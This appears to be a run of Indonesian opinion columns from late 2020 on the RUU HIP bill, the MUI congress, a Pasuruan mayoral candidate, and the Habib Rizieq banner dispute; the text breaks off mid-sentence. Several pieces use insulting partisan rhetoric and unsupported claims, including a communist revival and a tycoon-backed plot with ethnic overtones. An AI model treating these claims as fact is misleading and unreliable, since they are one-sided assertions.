Indonesia (AEPI).

DPR Gila & Sinting Lagi, Mau Bahas RUU HIP

by M Rizal Fadillah Bandung FNN – Rabu (25/11). Terpaksa agak kasar juga menyoroti perilaku DPR negeri ini yang tidak peduli dengan suara dan aspirasi rakyat. Mereka seenaknya sendiri hendak memaksakan kehendak. Setelah UU Omnibus Cipta Kerja (Cilaka) yang dipaksakan diketuk dengan protes rakyat Indonesia yang di seluruh tanah air, kini DPR kembali membuat ulah lagi. Ternyata Rancangan Undang-Undang Haluan Ideologi Pancasil (RUU HIP) masih termasuk yang dijadikan dalam agenda Program Legislasi Nasional (Prolegnas) Prioritas tahun 2021. DPR tidak mau mendengar suara rakyat, terutama Umat Islam. Telinga DPR sudah tuli dan budeg. DPR kambuh lagi aslinya. Mereka mulai menampakan sikapnya yang gila dan sinting terhadap suara dan aspirasi rakyat, khusunya umat Islam Wajar saja kalau DPR dianggap dungu dan dongo. Baik kualitas maupun kuantitasnya kaleng-kaleng, odong-odong dan beleng-beleng. Presiden Sorharto yang sangat otoriter dan sangat full power saja, masih mau untuk mendengar aspirasi rakyat, khususnya umat Islam. Tentara yang menjadi back up utama kekuasaan Soeharto masih membuka mata dan telinga lebar-lebar untukmendengar suara rakyat mayoritas. Biasanya Soeharto berubah sikap, kalau kebijakannya ditentang oleh umat Islam yang disuarakan Majelis Ulama Indonesia (MUI), Nahdatul Ulama (NU) dan Muhammadiyah. Paling kurang kebijakannya ditunda untuk jangka waktu yang belom ditentukan. Menunggu sampai situasinya kondusif dulu. Tidak asal ngotot karena lagi punya kekuasaan. Karakter penguasa yang memaksakan kehendak pada setiap kebijakan, biasanya paling menonjol pada eranya Soekarno. Suara-suara umat Islam ditentang oleh rezim Soekarno. Bahkan tokoh-tokoh Islam seperti Buya Hamka dan KH. Isa Ansari dipernjarakan bertahun-tahun tanpa diadili. Para ulama dan tokoh Islam dipernjarakan tanpa diadili, karena mereka menentang kebijakan Soekarno yang merugikan Umat Islam. Misalnya, menentang kebijakan yang berakibat tumbuh suburnya faham komunisme di Indonesia. Sementara Partai Komunis Indonesia (PKI) sangat berpengaruh terhadap kebijakan-kebijakan penting dan strategis Soekarno. Kondisi dan situasi di era Soekarno itulah yang sekarang terasa kembali. Upaya menghindupkan kembali faham komunis di Indonesia melalui RUU HIP yang mengakui Pancasila yang benar adalah 1 Juni 1945. Bukan Pancasila 18 Agustus 1945. Pancasila yang diperas menjadi Tri Sila dan Eka Sila. Pancasila 1 Juni 1945 diperjuangkan oleh gerombolan Tri Sila dan Eka Sila di RUU HIP. Namun empat Fraksi telah menyatakan tidak setuju dengan RUU tersebut masuk dalam Prolegnas Prioritas tahun 2021, yaitu Fraksi Golkar, PKS, PAN, dan PPP. Fraksi lain belum jelas sikapnya. Badan Legislasi DPR masih mengusulkan RUU HIP masuk dalam Prolegnas Prioritas Tahun 2021. Predikat gila, sinting, dungu, dan dongo memang patut untuk disematkan ke DPR. Karena luar biasa ndableg, tuli, budeg. DPR yang tidak memiliki kepekaan politik kerakyatan jika memang RUU HIP masih dimasukkan. Rakyat khususnya umat Islam dipastikan akan melakukan gerakan perlawanan yang masif kembali. Apapun resikonya. Inilah wujud kegaduhan bangsa yang sengaja diciptakan dan diproduksi sendiri oleh DPR dan pemerintah. MUI yang menunda "jihad masirah kubro" tentu akan merealisasikan. RUU HIP adalah RUU sesat, maksiat, dan jahat terhadap ideologi dan dasar negara Pancasil dan UUD 1945. Rakyat, khususnya umat Islam tidak akan mentoleransi pembahasan RUU HIP. Tipu-tipu untuk memutuskan di malam hari akan tetap diwaspadai Umat Islam. DPR menjadi musuh rakyat dan umat Islam. Empat Fraksi DPR yang telah menyatakan tidak setuju patut untuk didukung rakyat dan Umat Islam. Fraksi yang lain semoga segera menyusul. Jika masih ada Fraksi DPR yang "ngotot" menjadi pengusul atau menyetujui RUU “racun ideologi” ini, maka rakyat harus berani menyatakan sebagai Fraksi busuk. Dengan demikian, para anggota DPR pendukungnya adalah para politisi busuk. Negara akan hancur jika diisi oleh elemen politik yang tidak bermoral seperti ini. Mereka tidak mau menguburkan RUU HIP karena manipulatif. Mereka sepertinya yang membela Pancasila. Padahal yang sebenarnya mereka ingin mengubah Pancasila secara bertahap. Kekuatan kiri coba mengotak-atik ideologi negeri ini. Kata orang Sunda Baleg DPR "bedegong" sombong, angkuh atau "teu baleg” tidak benar. Mungkin dari kata tidak baligh, yang artinya "tidak dewasa" ngeyel dan kekanak-kanakan. Meminjam istilah Gus Dur "DPR seperti anak TK". Hadeuh. Penulis adalah Pemerhati Politik dan Kebangsaan.

Munas MUI Pilih Ketua Baru 2020-2025

Tony Rosyid Jakarta FNN – Rabu (25/11). Hari ini sampai lusa, Rabu-Jum’at, tanggal 25-27 Nopember Majelis Ulama Indonesia (MUI) menyelenggarakan Musyawarah Nasional (Munas) ke X. Dalam Munas kali ini MUI akan memilih seorang ketua yang baru. Saat ini, pimpinan menjadi MUI sangat penting dan strategis. Dua hal yang membuat kepemimpinan MUI ke depan sangat penting dan strategis. Pertama, dipinangnya K.H. Ma'ruf Amin, ketua MUI periode 2015-2020 menjadi Cawapres Presiden Jokowi. Dalam pilpres 2019 lalu, Jokowi-Ma'ruf terpilih. Dan K.H. Ma'ruf Amin secara definitif dilantik jadi Wapres. Kedua, MUI belakangan ini mampu tampil elegan dan memaksimalkan perannya mewakili suara umat Islam. Terutama yang terkait dengan kebijakan-kebijakan publik. Tidak saja amal Ma'ruf yang menonjol. Tetapi juga tegas dalam memerankan fungsi "nahi munkar"-nya. Dua posisi inilah yang membuat MUI menjadi penting dan strategis. Karena akan sangat diperhitungkan perannya. MUI tidak saja diperhitungkan oleh umat Islam, tetapi juga rakyat Indonesia secara umum. Tidak saja secara politik, tetapi juga secara moral. Meski demikian, MUI memiliki mekanisme tersendiri. MUI sangat berbeda dari umumnya organisasi, terutama dalam memilih calon seorang pemimpin. Dalam konteks pemilihan ketua, MUI memiliki sistem formatur. Ada belasan ulama yang manjadi anggota formatur, diantaranya Ketua dan Sekjen MUI yang lama, perwakilan ormas seperti NU dan Muhammadiyah, serta yang lain-lain. MUI adalah organisasi yang anggotanya adalah para ulama', zuama' dan cendekiawan muslim. Makanya, otomatis kandidat yang akan dicalonkan adalah mereka yang tergolong sebagai ulama', zuama' atau cendekiawan muslim. Tidak asal-asalan. Kandidat yang muncul dan santer dibicarakan publik dalam Munas MUI kali ini diantaranya adalah K. H. Miftahul Ahyar, Rais Suriah PBNU. Tokoh yang satu ini dikenal alim (tafaqquh fiddin), bersahaja dan sangat sederhana. Meski baru setahun menggantikan posisi K.H. Ma'ruf Amin di NU, K.H. Miftahul Ahyar sudah mulai dikenal dan tak asing bagi masyarakat. Sang Kiai juga mewakili NU, organisasi terbesar di Indonesia. Selain K.H.Miftahul Ahyar, muncul nama Buya Dr. Anwar Abbas, Sekjen MUI yang sekaran. Buya Dr. Anwar Abbas akhir-akhir ini sering muncul namanya di media massa. Sikapnya yang kritis terhadap sejumlah kebijakan pemerintah dan persoalan-persoalan sosial, terutama sertifikasi mubaligh dan da’I telah ikut mengangkat nama baik dan menjaga marwah MUI. Di luar kedua tokoh tersebut, ada nama K.H. Buchori Abdusdomad, Ketua MUI Jawa Timur. Munculnya K.H.Abdussomad seolah mewakili suara umat Islam dari daerah. Sebab selama ini Ketua MUI selalu dijabat oleh mereka yang sudah menjabat di pengurus pusat. Lalu, siapa diantara ketiga tokoh ini yang kemungkinan akan terpilih menjadi Ketua MUI ke depan? Tim formatur yang akan mencermati, menela'ah dan menggodok secara serius siapa diantara mereka yang akhirnya diberi amanah untuk memimpin MUI lima tahun ke depan. Tidak menutup kemungkinan juga akan muncul tokoh diluar tiga nama tersebut. Dalam hal ini, ormas dan umat menyerahkan sepenuhnya kepada anggota formatur untuk memilih mana yang terbaik menurut mereka. Di tangan mereka, pemilihan ini akan dipertanggungjawabkan di akhirat. Atas dasar inilah, "ultimate trust" umat kepada para formatur tersebut dipasrahkan. Di tengah situasi politik yang relatif gaduh seperti sekarang ini, umat hanya berharap kepada MUI. Pertama, pemilihan ketua MUI dilakukan dengan proses yang elegan, terhormat, bermartabat, dan tanpa intervensi dari pihak manapun. Keikhlasan, kejujuran dan kearifan harus menjadi pondasi dalam suksesi pimpinan MUI kali ini. Kedua, yang terpilih adalah ulama yang benar-benar diharapkan mampu menjaga marwah dan independensi MUI ke depan. Juga mampu membawa MUI semakin besar peran dan manfaatnya untuk umat dan bangsa. Jangan mau diatur-atur sama pemerintah. Apalagi kebijakan pemerintah merugikan rakyat dan umat Islam. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Solusi Atasi Banjir Lebih Mudah Bersama Adiknya, Jika Gus Ipul Jadi Walikota Pasuruan

by Mochamad Toha Surabaya FNN - Selasa (24/11). Kota Pasuruan sebagai salah satu wilayah yang setiap tahunnya selalu dilanda banjir jika musim hujan tiba, menjadi tantangan tersendiri bagi Walikota Pasuruan terpilih pada Pilkada Kota Pasuruan 2020 nanti. Karena, hingga musim hujan 2019 lalu, Walikota Pasuruan yang kini maju sebagai calon petahana Raharto Teno Prasetyo, belum juga berhasil mengatasinya. Ini jadi tantangan bagi Saifullah Yusuf alias Gus Ipul yang kini menjadi rivalnya pada Pilkada 2020 ini. Mantan Wakil Gubernur Jawa Timur 2 periode yang maju Pilkada Kota Pasuruan itu akan lebih mudah mengatasi banjir bersama adiknya, Bupati Pasuruan Irsyad Yusuf, jika terpilih. Karena banjir di Kota Pasuruan itu kiriman dari wilayah Kabupaten Pasuruan. Mengutip TribunJatim.com, Selasa (3 November 2020 09:43), Gus Ipul mengingatkan masyarakat untuk tidak salah tangkap mengartikan “akrab dengan banjir” karena ini sejatinya adalah bentuk dari mitigasi bencana. Hal itu disampaikan Gus Ipul usai kampanye menemui warga dengan protokol kesehatan ketat di Jalan Airlangga, Kota Pasuruan, Senin (2/11/2020) malam. Menurut Gus Ipul, akrab dengan banjir ini adalah istilah. Di dalam bencana, ada istilah berdamai dengan banjir, ataupun beradaptasi dengan banjir. Ini adalah istilah untuk mitigasi bencana. “Misalnya, orang yang tinggal di area gunung Merapi. Mereka harus akrab dengan resiko-resikonya. Termasuk mereja yang tinggal di bantaran sungai. Mereka harus tahu resiko dan bagaimana mengatasi resiko,” kata Gus Ipul. Dia menjelaskan, untuk penanganan banjir di Kota Pasuruan, masyarakat harus waspada dan mengetahui resikonya. Gus Ipul mengaku senang, karena sempat berkeliling menemui warga dan melihat rumah warga yang ada di sekitar bantaran sungai. “Saya senang, sebenarnya masyarakat sudah sadar resikonya dan sudah melakukan upaya darurat ketika banjir datang. Pada dasarnya masyarakat sudah siap,” katanya. Misalnya, kata Gus Ipul, masyarakat sudah berupaya meninggikan rumahnya. Jadi, posisi rumahnya sudah lebih tinggi. Ada juga masyarakat yang sudah menyiapkan tempat untuk penyelamatan barang-barang berharga ketika banjir tiba dan sejenisnya. Sedangkan soal pemerintahnya, seharusnya Pemkot Pasuruan hadir. Gus Ipul meyakini, banjir ini bisa dihilangkan. “Jadi, pemerintah harus tahu apa yang akan dilakukan ketika banjir ini datang,” jelasnya. Salah satu hal yang bisa dilakukan, lanjut Gus Ipul, dengan memberikan lampu tenaga surya. Kata dia, lampu tenaga surya ini akan memberikan manfaat luar biasa ketika banjir tiba. “Saya yakin, jika banjir, pasti PLN tidak mau resiko dan akan mematikan aliran listriknya. Nah, di saat itulah, lampu tenaga surya bisa berguna. Jadi, penerangan ini bermanfaat untuk evakuasi warga. Apalagi kalau banjirnya malam,” ujar Gus Ipul. Ia menyebut, program-program inilah yang pro terhadap rakyat khususnya terhadap banjir. Kedua, perlu adanya peta evakuasi. Artinya, ini perlu adanya sosialisasi, perlu ada latihan dan simulasi. “Jadi, masyarakat perlu didampingi. Perlu diberi edukasi, masyarakat harus ke mana saat banjir tiba dan bagaimana skemanya,” sambung dia. Gus Ipul menilai, kalau bisa, di masing-masing titik yang rawan banjir perlu didirikan posko semi permanen ataupun kalau bisa permanen. Di dalam posko, nantinya akan disiapkan perahu karet, dan semua perlengkapan lainnya ketika dibutuhkan dalam kondisi banjir untuk evakuasi warga. Mulai pelampung, dan lain sebagainya, termasuk perahu karet di dalamnya. Jika memungkinkan, kata Gus Ipul, sebulan sebelum musim hujan, disiapkan makanan-makanan instan siap saji, sebagai upaya ketika banjir terjadi. “Jadi, ketika banjir datang sudah sistem dan ada mekanisme yang sudah disiapkan oleh kesadaran masyarakatnya dan pemerintah. Jadi tidak bingung, siapa bergerak ke mana, dan pemerintah harus berbuat apa,” ujarnya. Ia juga memastikan, ketika nanti terpilih bersama Cawalinya Adi Wibowo memimpin Kota Pasuruan, akan menjadi pemimpin yang akrab dengan bencana dan bisa beradaptasi dengan bencana. “Saya akan tetap siaga saat musim hujan tiba. Jadi, kalau ada apa-apa saya bisa ikut mengendalikan. Kalau perlu, semua kegiatan di luar kota di saat musim rawan bencana, ditunda. Saya siap hadir di tengah masyarakat,” ujar Gus Ipul. Di sisi lain, Gus Ipul juga memastikan akan melakukan upaya-upaya lain untuk mengatasi banjir, yang sifatnya sebagai upaya pencegahan. Kalau sebelumnya, ia lebih banyak menjelaskan apa yang harus dilakukan ketika banjir datang. Menurut Gus Ipul, persoalan banjir juga bisa diatasi dengan berbagai kegiatan pembangunan mulai dari Hulu-Hilir. Nah, Kota Pasuruan ini berada di hilir, yang bisa dilakukan adalah pengerukan, pembuatan tanggul, membuat sudetan-sudetan, atau menyiapkan drainase yang mumpuni, dan pompa-pompa untuk membantu percepatan penanganan banjir. Menurut Gus Ipul, rencana tersebut juga harus dibicarakan bersama Pemerintah Provinsi maupun dengan Pemerintah Pusat. “Kota Pasuruan harus punya road map ke depan yang bisa kita tawarkan konsepnya untuk mengatasi banjir di hilir, karena banjir di Kota Pasuruan ini kiriman. Konsepnya lengkap, dan tertata,” ungkap Gus Ipul. Bagaimana agar air yang mengalir dari wilayah hulu (Kabupaten Pasuruan) bisa “ditahan sementara” agar tidak langsung turun ke wilayah Kota Pasuruan. Jika Gus Ipul terpilih nanti, ia bisa cari solusi bersama Bupati Pasuruan yang juga adiknya dengan mudah. Gus Ipul memutuskan untuk maju di Pilkada Kota Pasuruan 2020 bersama wakilnya Adi Wibowo yang akrab dipanggil Mas Adi. Mereka diusung 5 partai: PKB, Golkar, PKS, PAN, dan PPP. Paslon nomor urut 1 itu bakal berhadapan dengan petahana Plt Walikota Pasuruan Raharto Teno Prasetyo-Hasjim Asjari bernomor urut 2, yang diusung koalisi 4 partai. Yakni: PDIP, Hanura, NasDem, dan Gerindra. Kota Santri Gus Ipul mengaku telah berpamitan dengan Gubernur Jatim Khofifah Indar Parawansa untuk maju pada Pilkada Kota Pasuruan 2020 nanti. Ia mengaku siap mendukung segala program Khofifah, jika dirinya terpilih menjadi Walikota Pasuruan. “Saya pamit sama Ibu Gubernur, saya terima kasih atas dukungannya, saya juga pamit dari pramuka. Saya insya’ Allah akan siap bekerjasama mendukung semua program Ibu Gubernur yang terkait dengan memajukan dan memakmurkan masyarakat,” katanya. Gus Ipul mengaku, sudah bersilaturahim dengan basis massa Khofifah, yakni Muslimat Nahdlatul Ulama (NU) di Kota Pasuruan. “Mudah-mudahan, saya sudah sowan, ke Ketua Muslimat dan Pengurus Muslimat Kota Pasuruan lainnya untuk meminta nasihat dan saran, minta doa restu,” ucapnya. Bagi masyarakat Jawa Timur, sosok Gus Ipul bukanlah orang asing dalam kancah politik Indonesia. Dia pernah menjabat sebagai Menteri Pembangunan Daerah Tertinggal dan Wakil Gubernur Jatim selama dua periode. Jika berhasil terpilih nanti, Gus Ipul harus membuktikan kapasitas bahwa dirinya mampu membawa Kota Pasuruan lebih maju dan lebih pesat dari sebelumnya. Terlebih lagi, Gus Ipul pernah punya pengalaman menjadi Wagub Jatim yang tak dimiliki rivalnya. Bila perlu, nama Gus Ipul harus harum sebagai walikota dan bisa menyamai kesuksesan Bupati Banyuwangi Abdullah Azwar Anas dalam memimpin daerahnya. Pakar Ilmu Politik Universitas Airlangga Surabaya Prof. Kacung Marijan menilai Gus Ipul maju di Pilkada Kota Pasuruan itu karena PKB bertekad menggusur calon petahana Raharto Teno Prasetyo. PKB butuh nama besar karena lawan petahana tak pernah mudah. Taktik tersebut menjadi penting. Terlebih, Raharto Teno Prasetyo akan berpasangan Hasjim Asjari yang merupakan adik kandung mantan Walikota Pasuruan periode 2000-2010, Aminurohkhman. “Mengalahkan incumbent tidak mudah, apalagi mengalahkan incumbent yang didukung oleh incumbent sebelumnya,” ujarnya seperti dilansir CNN Indonesia. Prof Kacung juga tidak terlalu menyoroti soal langkah Gus Ipul yang mau “turun kelas”. Dari Menteri, Wakil Gubernur, kini mau jadi calon Walikota. Kacung tak kaget karena Gus Ipul pernah bercanda soal itu. “Dia (bicara) itu biasa, dulu pernah guyon [bercanda], 'saya ini menteri, terus wagub, nanti mungkin bupati atau wali kota, lalu kepala kelurahan', dia pernah buat lelucon begitu,” lanjut Prof Kacung. Melansir KOMPAS.com, Sabtu (29/08/2020, 15:37 WIB), PKB memiliki alasan utama mengusung Gus Ipul pada Pilkada Kota Pasuruan 2020. Pengusungan terhadap Gus Ipul berdasarkan aspirasi masyarakat dan tokoh agama di Kota Pasuruan. Latar belakang sebagai santri akan sangat mengerti kebutuhan pesantren. Terlebih, Gus Ipul itu seorang santri tulen dan akan sangat mengerti kebutuhan pesantren. Pasuruan adalah kota pesantren, selama ini belum ada kebijakan pemerintah daerah yang berpihak kepada pesantren. “Sementara itu PKB berkepentingan untuk menang dan memajukan Kota Pasuruan yang merupakan basis PKB,” kata Ketua Lembaga Pemenangan Pemilu DPW PKB Jawa Timur Fauzan Fuadi, Sabtu (29/8/2020). Nilai tambah lainnya, yakni Gus Ipul pernah menjabat sebagai Wagub Jatim dua periode dan menteri di era Presiden Susilo Bambang Yudhoyono. Mas Adi Sebagai Cabup, Gus Ipul tak salah memilih Adi Wibowo alias Mas Adi ini menjadi Calon Wabup-nya. Mas Adi masih terbilang sebagai Generasi Milenial. Ia adalah alumni Fakultas Teknologi Pertanian Universitas Jember (UNEJ). Masa-masa kuliah tak hanya dihabiskan pergi kuliah, belajar dan pulang. Sebaliknya, Mas Adi aktif ikut organisasi dalam kampus. Ia aktif di Perhimpunan Pers Mahasiswa Indonesia, Jember dan Himpunan Mahasiswa Islam (HMI). “Waktu kuliah dulu aktif menulis, utamanya tentang pergerakan-pergerakan mahasiswa saat itu,” kata Adi, seperti dikutip JawaPos.com, Kamis (17 September 2020). Lulus dari Unej, fans berat KH Abdurrahman Wahid alias Gus Dur) ini melanjutkan S2 di Fakultas Ilmu Sosial dan Ilmu Politik Universitas Indonesia. Lulus dari UI, suami Suryani Firdaus ini bergabung menjadi Tenaga Ahli di DPR RI. Ditanya pengetahuannya tentang Kota Pasuruan, Mas Adi menjelaskan, sejatinya dirinya sudah mengenal sedikit banyak. Pengetahuannya tersebut didapatnya ketika mencalonkan diri sebagai calon legislatif (caleg) DPRD Jawa Timur pada Pemilu 2019 lalu di Dapil Pasuruan-Probolinggo. “Tahun lalu saya sudah riwa-riwi menjaring aspirasi masyarakat di Kota Pasuruan. Dari situ sudah saya pelajari apa yang menjadi persoalan dan keluhan masyarakat yang belum terselesaikan,” jelasnya. Menurutnya, keluhan dan persoalan masyarakat tersebut menjadi PR utama yang akan diselesaikan jika terpilih sebagai Wawali. “Paling tidak saya sudah mengantongi hal-hal urgent yang harus segera diberikan solusi di tengah masyarakat,” kata Mas Adi. Sejumlah langkah juga sudah dipersiapkan Mas Adi guna terus menggali dan menjaring aspirasi masyarakat. Dalam waktu dekat, ia mengagendakan pertemuan dengan beberapa tokoh masyarakat, tokoh agama hingga komunitas yang ada di Kota Pasuruan. Penulis wartawan senior FNN.co.id

Cukong Ahoker di Balik Pencopotan Baliho?

by Hersubeno Arief Jakarta FNN - Selasa (24/11). Markas Kodam Jaya di kawasan Cililitan, Jakarta Timur banjir karangan bunga. Narasi dan pesan yang ingin disampaikan, sangat jelas. Rakyat mendukung langkah Pangdam Jaya Mayjen TNI Dudung Abdurachman. Pangdam Jaya memang tengah jadi perbincangan nasional, menyusul tindakannya mencopot dan membersihkan baliho ucapan selamat datang Habib Rizieq Shihab (HRS). Bahwa tindakan Mayjen Dudung didukung oleh rakyat, itu bisa terlihat jelas dari beragamnya nama pengirimnya. Mulai dari perorangan maupun organisasi kemasyarakatan. Sekali lagi itu kesan dan pesan yang ingin dibangun. Tapi apakah benar strategi komunikasi dengan cara show of force, membanjiri markas Kodam Jaya dengan karangan bunga itu berhasil? Publik menangkap pesan dan mempunyai persepsi yang sama? Masyarakat kemudian ikut mendukung dan memberi basis legitimasi. Dengan begitu Pangdam Jaya dapat terus melanjutkan tindakannya? Kelihatannya tidak begitu. Publik malah menangkap sebaliknya. Narasi yang berkembang, terutama di media sosial, para cukong yang dulu mendukung mantan Gubernur DKI Ahok berada di balik aksi pembersihan baliho HRS. Lho kok bisa begitu? Pertama, pilihan membanjiri Markas Kodam Jaya dengan karangan bunga ini bukan ide strategi komunikasi yang orisinil. Duplikasi. Publik dengan mudah diingatkan kembali pada modus yang sama. Saat Ahok kalah pada Pilkada DKI 2017. Saat itu Kantor Pemprov DKI berubah menjadi lautan karangan bunga. Jadi tidak salah bila kemudian publik menyimpulkan, pelaku atau aktor yang menggerakkan aksi ini sama dengan pelaku 2017. Kalau menggunakan terminologi pidana, pelakunya adalah residivis. Mengulang perbuatan pidana yang sama. Cuma yang ini residivis karangan bunga ha…ha…ha…. Tentu ini bukan perbuatan pidana. Tidak bisa dihukum. Yang menghukum publik. Tidak percaya dengan pesan yang ingin dibangun dan disampaikan. Kedua, banjir karangan bunga ke Pemprov DKI bukan sebuah strategi yang sukses. Media saat itu berhasil membongkar fakta, bahwa sebagian besar pengirim bunga itu hanya dilakukan oleh beberapa orang saja. Seorang pemilik toko bunga mengaku mendapat pesanan ratusan karangan bunga dari seseorang, dengan nama pengirim yang berbeda-beda. Alias nama fiktif. Sesungguhnya ada juga perorangan yang benar-benar mengirim karangan bunga. Tapi fakta itu tertutup dengan temuan media. Ada cukong yang membayari karangan bunga itu. Jadi dapat disimpulkan dukungan kepada Ahok tidak natural. Ada mobilisasi. Ada cukong yang jadi Bandar, sehingga kantor Pemprov DKI menjadi lautan bunga. Kecurigaan yang masuk akal juga. Karena pandemi, ekonomi sulit. Hanya orang yang punya kelebihan duit saja, yang saat ini mau buang-buang duit membeli karangan bunga. Dari sisi komunikasi, modus pengiriman bunga ini adalah strategi komunikasi yang gagal ( communication failure). Agak mengherankan bila sebuah strategi yang gagal, kok diulang kembali? Kekonyolan serupa juga terjadi. Aliasi Masyarakat Adat Nusantara (AMAN) merasa dicatut namanya. Mereka tidak pernah merasa mengirim karangan bunga. Akibatnya yang ketiban apes, ya Mayjen Dudung. Publik menilai ada tangan-tangan cukong Ahok di balik penertiban baliho HRS. Maksud hati dari siapapun yang berada di balik gerakan mobilisasi pengiriman bunga ini mendukung Pangdam Jaya, malah berbuah sebaliknya. Foto-foto Pangdam Jaya sedang berfoto dengan para pengusaha etnis Cina, menyebar luas di medsos. Targetnya untuk mendiskreditkan Mayjen Dudung. Padahal bisa saja foto-foto itu tak ada kaitannya. Pangdam Jaya layak menegur keras si oknum yang memobilisasi pengiriman bunga ini, siapapun orangnya. Ketiga, sebelum heboh pengiriman karangan bunga ini publik juga digemparkan dengan adanya video seorang wanita yang mengenakan baju kotak-kotak ikut naik panser. Kendaraan tempur itu digunakan untuk mengawal pasukan yang membersihkan baliho HRS di kawasan Petamburan. Publik saat itu menyebutnya ada Ahoker alias pemuja Ahok yang ikut bersama TNI menertibkan baliho HRS. Penerangan Kodam Jaya sudah menjelaskan bahwa wanita tersebut adalah seorang wartawan. Dia naik panser dengan pertimbangan keamanan. Wartawan naik kendaraan tempur itu sebenarnya praktik biasa. Namanya embedded journalism,. Tapi biasanya itu hanya terjadi di medan tempur. Kegiatan itu menjadi terkenal ke seluruh dunia, ketika para wartawan ikut bersama pasukan AS menyerbu Iraq dalam Perang Teluk. Masalahnya penerangan Kodam Jaya juga tidak menyebut jelas identitas si wartawan dan dari media mana. Spekulasi liar dibiarkan berkembang di tengah publik, dengan berbagai bumbu penyedapnya. Pesan tidak jelas Kegagalan strategi komunikasi politik semacam itu harus jadi pelajaran, terutama bagi instansi pemerintah. Di era digital, dimana informasi bisa dibuat dan disebar secara bebas oleh semua orang, dampaknya bisa sangat serius. Apalagi untuk keputusan penting dan sensitif. Bisa berantakan gak karuan. Seorang pejabat tidak boleh mengambil sebuah kebijakan, tanpa memikirkan strategi komunikasi politiknya secara matang. Semuanya harus dirancang secara matang . Ditimbang-timbang plus minusnya. Tidak boleh asal tabrak. Gaya militer zaman dulu: hajar dulu, urusan belakangan, sudah tidak berlaku. Satu hal lagi yang perlu dberi catatan, pesan harus jelas, dan tidak boleh berubah-ubah. Mayjen Dudung sebelumnya mengklaim bahwa pencopotan baliho HRS adalah instruksinya. Belakangan setelah mendapat serangan dari berbagai kalangan. Istana dan juga Mabes TNI membantah memberi instruksi, Mayjen Dudung mengatakan pencopotan itu atas permintaan Satpol PP. Mana yang benar? Publik telanjur tidak percaya karena pesan yang disampaikan Pangdam tidak jelas, dan berubah-ubah. Orang Minang punya pepatah menarik untuk menggambarkan situasi ini. “Kato nan dahulu, sabana kato. Kato kudian, kato nan dicari-cari.” Kata yang diucapkan paling awal, adalah kata sesungguhnya. Kata yang diucapkan kemudian, merupakan dalih yang dicari-cari. Kasus pencopotan baliho bisa menjadi contoh menarik kegagalan sebuah strategi komunikasi politik. Banjir karangan bunga malah berubah menjadi banjir caci maki. End Penulis, wartawan senior FNN.co.id

Kasus Habib Rizieq, Istana Nabok Nyilih Tangan?

“Markas FPI di Petamburan Disemprot Polisi Pakai Disinfektan.” Begitu sebuah media membuat judul beritanya. by Hersubeno Arief Jakarta FNN - Senin (23/11). Di media sosial, video dan foto-foto petugas penyemprot di kawal petugas bersenjata, bertebaran dengan cepat. Bagi yang paham pemasaran (marketing) politik, penyemprotan itu tidak hanya dilihat sebagai langkah dan tindakan kesehatan semata. Aksi itu adalah sebuah strategi marketing politik. Sebuah tahapan demarketing sedang dijalankan. Ya, semua ribut-ribut yang terjadi dalam dua pekan terakhir, sejak kepulangan Habib Rizieq Shihab (HRS), secara marketing dan komunikasi politik menjadi sangat menarik untuk dicermati. Mulai dari pencopotan baliho oleh prajurit TNI dari Kodam Jaya. Pengumuman bahwa kawasan Petamburan, Markas FPI sebagai kluster baru penyebaran Covid-19. Kedatangan petugas polisi, TNI, dan Satpol PP ke rumah HRS pada malam hari untuk swab. Sampai penyemprotan disinfektan. Tujuannya sangat jelas. Membentuk persepsi masyarakat bahwa apa yang dilakukan pendukung FPI salah. Tidak patuh pada aturan dan pemerintah. Membahayakan masyarakat. Tidak mematuhi aturan. Seenaknya sendiri. Disimbolisasi dengan pencopotan baliho. Tidak mematuhi protokol kesehatan. Membahayakan kesehatan masyarakat. Disimbolisasi dengan penyemprotan disinfektan dan permintaan swab. Coba perhatikan. Petugas mendatangi rumah HRS untuk melakukan swab, pada malam hari. Di atas pukul 22.00 Wib. Memberi kesan ada situasi yang sangat darurat. Bersamaan dengan itu media memberitakan dengan besar-besaran. Para buzzer bekerja. Mereka menyebar kabar HRS dan keluarganya positif Covid-19. Para buzzer juga memperkuat dan mengamplifikasi pesan itu. Ramuan ajaib yang selama ini terbukti ampuh, kembali dimainkan: HRS dan FPI radikal, intoleran, membahayakan persatuan dan kesatuan bangsa. Spanduk penolakan atas HRS disebar dimana-mana. Unjukrasa juga digelar di beberapa kota. Adanya operasi demarketing politik ini tampaknya sangat disadari oleh FPI dan para pendukungnya. Mereka segera menyebar file-file lama. Anggota FPI di beberapa daerah melakukan penyemprotan disinfektan di gereja. Salah satu foto menunjukkan anggota FPI sedang menyemprot sebuah ruangan dengan patung Yesus di latar belakangnya. Foto itu sangat ikonik. Loud and clear. Secara visual target dari penyebaran foto-foto ini sangat jelas. Counter opini. FPI ingin menunjukkan bahwa mereka sangat sadar dengan protokol kesehatan, sekaligus bukan kelompok radikal yang intoleran. Pada video yang beredar, memperlihatkan anggota FPI baru saja merenovasi rumah seorang janda di Sumatera Utara. Sang janda beranak empat itu beragama Nasrani. Yang lebih seru lagi adalah video lama Tito Karnavian sedang pidato dalam sebuah forum FPI. Video itu diedarkan dengan dibubuhi berbagai narasi. Video itu kelihatannya diambil saat Tito Karnavian masih menjadi Kapolda Metro Jaya. Hubungannya dengan FPI sedang mesra-mesranya. Tito memuji kegiatan yang dilakukan oleh FPI. Menurutnya, stigma FPI radikal, intoleran, identik dengan tindak kekerasan, merupakan label yang dibuat media. Bagaimana dengan isu HRS positif Covid? FPI membuat strategi jitu dengan menyebarkan video. Dia sedang asyik bermain dengan cucunya. Jadi bahan kajian Perang strategi marketing politik, demarketing Vs image building yang terjadi antara pemerintah Vs FPI ini menarik untuk dicermati. Bisa jadi bahan kajian. Narasi siapa yang paling kuat. Pesannya ditangkap dan dipercaya publik? Bagi pemerintah dan TNI, harus disadari mereka tidak hanya berhadapan dengan HRS dan para pendukungnya. Masuknya Pangdam Jaya dan TNI dalam medan perang opini dengan HRS, membuat tanduk masyarakat sipil, termasuk para senior TNI langsung berdiri. Mereka waspada tinggi. Alarm tanda bahaya menyala. Tindakan itu bisa ditafsirkan sebagai langkah awal kembalinya Dwifungsi TNI. TNI kembali ditarik-tarik dan masuk ke tugas pokok dan fungsi institusi sipil. Tak kalah seriusnya, tindakan itu juga merupakan tanda-tanda sangat serius. Rezim Jokowi telah menjelma sebagai penguasa otoriter. Menggunakan militer untuk menekan lawan-lawan politiknya. Gubernur DKI Anies Baswedan membuat sindiran sangat cerdas. Dia memposting fotonya sedang membaca buku : How Democracies Die karangan Daniel 